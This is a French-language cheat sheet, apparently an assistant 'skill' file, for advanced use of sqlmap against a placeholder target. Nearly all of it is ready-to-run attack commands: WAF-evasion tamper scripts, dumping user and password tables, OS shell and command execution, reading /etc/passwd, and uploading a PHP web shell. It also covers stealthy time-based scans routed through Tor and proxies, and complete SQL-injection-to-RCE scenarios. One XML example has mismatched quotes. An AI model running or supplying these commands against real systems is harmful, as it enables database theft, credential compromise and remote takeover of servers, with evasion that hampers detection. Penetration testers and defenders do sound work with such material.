| name | sqlmap-avance |
| description | sqlmap avancé — détection et exploitation d'injections SQL, tamper scripts (contournement WAF), OS shell, lecture/écriture fichiers, privilèges, automatisation, techniques d'évasion, et scénarios complets. |
sqlmap Avancé — Guide Complet
Présentation
sqlmap est l'outil open-source d'exploitation d'injection SQL le plus avancé. Il automatise la détection, l'exploitation et le post-exploitation SQLi.
Installation :
sudo apt install sqlmap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev && python3 sqlmap.py
Détection et reconnaissance
Tests basiques
sqlmap -u "http://cible.com/page.php?id=1"
sqlmap -u "http://cible.com/login.php" --data="user=admin&pass=123"
sqlmap -r /path/to/request.txt
sqlmap -u "http://cible.com/dashboard.php?id=1" --cookie="PHPSESSID=abc123"
sqlmap -u "http://cible.com/api" --headers="X-API-Key: 123\nAuthorization: Bearer token"
Détection du type de SGBD
sqlmap -u "http://cible.com/page.php?id=1" --fingerprint
sqlmap -u "http://cible.com/page.php?id=1" --dbms=mysql
sqlmap -u "http://cible.com/page.php?id=1" --dbms=mssql
sqlmap -u "http://cible.com/page.php?id=1" --dbms=postgresql
sqlmap -u "http://cible.com/page.php?id=1" --dbms=oracle
Niveau et risque
sqlmap -u "..." --level=5
sqlmap -u "..." --risk=3
sqlmap -u "..." --level=5 --risk=3
sqlmap -u "..." --level=1 --risk=1
sqlmap -u "..." --level=3 --risk=2
sqlmap -u "..." --level=5 --risk=3
Techniques d'injection
Types d'injection
sqlmap -u "..." --technique=B
sqlmap -u "..." --technique=U
sqlmap -u "..." --technique=E
sqlmap -u "..." --technique=T
sqlmap -u "..." --technique=S
sqlmap -u "..." --technique=Q
sqlmap -u "..." --technique=BE
sqlmap -u "..." --technique=BEUSTQ
Boolean-based blind (par défaut)
sqlmap -u "http://cible.com/page.php?id=1" --technique=B
Error-based
sqlmap -u "http://cible.com/page.php?id=1" --technique=E
Union query
sqlmap -u "http://cible.com/page.php?id=1" --technique=U
Time-based blind
sqlmap -u "http://cible.com/page.php?id=1" --technique=T
sqlmap -u "..." --technique=T --time-sec=1
sqlmap -u "..." --technique=T --time-sec=10
Stacked queries
sqlmap -u "http://cible.com/page.php?id=1" --technique=S
Détection de paramètres
POST / JSON / XML
sqlmap -u "http://cible.com/login.php" \
--data="username=admin&password=test&csrf=token123" \
-p username
sqlmap -u "..." --data="..." --level=5
sqlmap -u "http://cible.com/api/login" \
--data='{"username":"admin","password":"test"}' \
--data-format=json
sqlmap -u "http://cible.com/api/login" \
--data='<login><user>admin</user><pass>test</pass></login>" \
--data-format=xml
Header-based injection
sqlmap -u "http://cible.com/dashboard.php" --cookie="id=1"
sqlmap -u "http://cible.com/dashboard.php" --cookie="session=abc123; id=1"
sqlmap -u "http://cible.com/" --level=3 --user-agent="Mozilla/5.0..."
sqlmap -u "http://cible.com/" --level=3 --headers="Referer: http://cible.com/admin"
sqlmap -u "http://cible.com/" --level=3 --headers="X-Forwarded-For: 1*"
Second-order injection
sqlmap -u "http://cible.com/register" --data="user=admin&pass=test" \
--second-order="http://cible.com/profile.php"
Tamper scripts (contournement WAF)
sqlmap --list-tampers
sqlmap -u "..." --tamper=between,randomcase,space2comment
sqlmap -u "..." --tamper=between,charencode,space2comment
sqlmap -u "..." --tamper=modsecurityversioned
sqlmap -u "..." --tamper=cloudflare
sqlmap -u "..." --tamper=modsecurityzeroversioned
sqlmap -u "..." --tamper=safedog
sqlmap -u "..." --tamper=360safe
sqlmap -u "..." --tamper=space2mysqlblank
sqlmap -u "..." --tamper=space2dash
sqlmap -u "..." --tamper=space2hash
sqlmap -u "..." --tamper=apostrophemask
sqlmap -u "..." --tamper=bluecoat
sqlmap -u "..." --tamper=halfversionedmorekeywords
sqlmap -u "..." --tamper=equaltolike
sqlmap -u "..." --tamper=greatest
sqlmap -u "..." --tamper=ifnull2casewhenisnull
sqlmap -u "..." --tamper="apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2casewhenisnull,modsecurityversioned,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes"
sqlmap -u --tamper=between --delay=2
Enumération de la base
Bases de données
sqlmap -u "http://cible.com/page.php?id=1" --dbs
sqlmap -u "..." --current-db
sqlmap -u "..." --current-user
sqlmap -u "..." --banner
sqlmap -u "..." --hostname
Tables
sqlmap -u "..." -D nom_base --tables
sqlmap -u "..." --exclude-sysdbs --tables
sqlmap -u "..." -D nom_base --count
Colonnes
sqlmap -u "..." -D nom_base -T users --columns
sqlmap -u "..." --search -C password,email,username,admin
sqlmap -u "..." --search -T users,admin,login,secret
Données
sqlmap -u "..." -D nom_base -T users --dump
sqlmap -u "..." -D nom_base -T users --dump --where="role='admin'"
sqlmap -u "..." -D nom_base -T users --dump --start=1 --stop=50
sqlmap -u "..." -D nom_base -T users --dump -C username,password,email
Schéma complet
sqlmap -u "..." -D nom_base --dump-all
sqlmap -u "..." --dump-all --exclude-sysdbs
Élévation de privilèges
sqlmap -u "..." --current-user
sqlmap -u "..." --is-dba
sqlmap -u "..." --users
sqlmap -u "..." --privileges
sqlmap -u "..." --privileges -U admin
sqlmap -u "..." --roles
sqlmap -u "..." --passwords
sqlmap -u "..." --passwords -U sa
OS Shell (RCE)
Condition : être DBA ou SUPER PRIVILEGE
sqlmap -u "http://cible.com/page.php?id=1" --os-shell
sqlmap -u "..." --sql-shell
sqlmap -u "..." --os-cmd="whoami"
sqlmap -u "..." --os-cmd="cat /etc/passwd"
UDF (User Defined Function) — MySQL
sqlmap -u "..." --udf-inject
Lecture et écriture de fichiers
sqlmap -u "http://cible.com/page.php?id=1" --file-read=/etc/passwd
sqlmap -u "..." --file-read="C:/Users/Administrator/Desktop/flag.txt"
sqlmap -u "..." --file-write=/local/payload.php \
--file-dest=/var/www/html/shell.php
Requêtes avancées
Requêtes personnalisées
sqlmap -u "..." --sql-query="SELECT @@version"
sqlmap -u "..." --sql-query="SELECT name FROM master..sysdatabases"
sqlmap -u "..." --sql-query="SELECT * FROM mysql.user LIMIT 1"
Énumération avancée
sqlmap -u "..." --schema
sqlmap -u "..." --statements
sqlmap -u "..." --count
sqlmap -u "..." --search -C password,secret,key,token
Réseau et proxy
Contournement de restrictions réseau
sqlmap -u "..." --proxy="http://127.0.0.1:8080"
sqlmap -u "..." --proxy="http://192.168.1.1:3128"
sqlmap -u "..." --proxy="socks5://127.0.0.1:1080"
sqlmap -u "..." --tor --tor-type=SOCKS5 --check-tor
sqlmap -u "..." --random-agent
sqlmap -u "..." --user-agent="Mozilla/5.0..."
sqlmap -u "..." --delay=2
sqlmap -u "..." --safe-freq=10
Format d'URL
sqlmap -u "http://cible.com/page?id=1&cat=2"
sqlmap -u "http://cible.com/api/user/1*"
sqlmap -u "http://cible.com/api/user/*"
sqlmap -u "http://cible.com/api/login" \
--data='{"username":"admin*","password":"test"}'
Sortie et rapport
sqlmap -u "..." --output-dir=/tmp/sqlmap_results
sqlmap -u "..." -t /tmp/sqlmap.log
sqlmap -u "..." -v 6
-v 0
-v 1
-v 2
-v 3 + Payloads
-v 4 + Requêtes HTTP
-v 5 + Réponses HTTP
-v 6 + Headers
sqlmap -u "..." --flush-session
sqlmap -u "..." --no-cast
sqlmap -u "..." --fresh-queries
Batch et non-interactif
sqlmap -u "http://cible.com/page.php?id=1" --batch
sqlmap -u "http://cible.com/page.php?id=1" \
--batch --dump-all --exclude-sysdbs --output-dir=./results
sqlmap -u "http://cible.com/page.php?id=1" \
--batch \
--level=3 \
--risk=2 \
--random-agent \
--tamper=between \
--dbs \
--dump-all \
--exclude-sysdbs \
--output-dir=./sqlmap_results
Scénarios complets
1. Injection SQL complète vers RCE (MySQL)
sqlmap -u "http://cible.com/page.php?id=1" --batch
sqlmap -u "http://cible.com/page.php?id=1" --fingerprint --batch
sqlmap -u "http://cible.com/page.php?id=1" --dbs --batch
sqlmap -u "http://cible.com/page.php?id=1" -D app_db -T users --dump --batch
sqlmap -u "http://cible.com/page.php?id=1" --is-dba --batch
sqlmap -u "http://cible.com/page.php?id=1" --os-shell --batch
2. Injection POST avec Cookie + WAF
POST /login.php HTTP/1.1
Host: cible.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
user=admin&pass=123
sqlmap -r injection_request.txt \
--level=5 \
--risk=3 \
--tamper="between,randomcase,space2comment" \
--random-agent \
--delay=1 \
--batch
3. Injection Time-based furtive
sqlmap -u "http://cible.com/page.php?id=1" \
--technique=T \
--time-sec=1 \
--random-agent \
--proxy="http://127.0.0.1:8080" \
--delay=3 \
--tor \
--check-tor \
--batch
4. API JSON injection
sqlmap -u "http://cible.com/api/search" \
--data='{"search":"test*","limit":10}' \
--data-format=json \
--headers="Authorization: Bearer eyJhbGci..." \
--level=3 \
--batch
5. Second-order + Stored XSS via SQLi
sqlmap -u "http://cible.com/register" \
--data="user=admin&email=test@test.com&pass=test" \
--second-order="http://cible.com/profile.php" \
--batch
Dépannage
| Problème | Solution |
|---|
| Détection trop longue | Réduire level/risk, spécifier technique |
| Faux négatif | Ajouter --level=5 --risk=3 |
| Faux positif | Vérifier manuellement dans Repeater |
| WAF bloque | Ajouter --random-agent + tamper scripts |
| Timeout | --time-sec=1, --delay=0 |
| "No parameter found" | Marquer avec * dans l'URL |
| Erreur SSL | --force-ssl ou changer en http |
| Cookie expire | --cookie + --drop-set-cookie |
Antisèche rapide
sqlmap -u "http://cible.com/page.php?id=1" --batch
sqlmap -u "..." --dbs --dump-all --batch
sqlmap -u "..." --tamper=between,randomcase,space2comment
sqlmap -u "..." --os-shell
sqlmap -u "..." --technique=T --time-sec=1 --delay=2
sqlmap -u "..." --data="user=admin&pass=test" -p user
sqlmap -r request.txt --batch
sqlmap -u "..." -D app -T users --dump
sqlmap -u "..." --current-db --current-user
sqlmap -u "..." --data='{"key":"val*"}' --data-format=json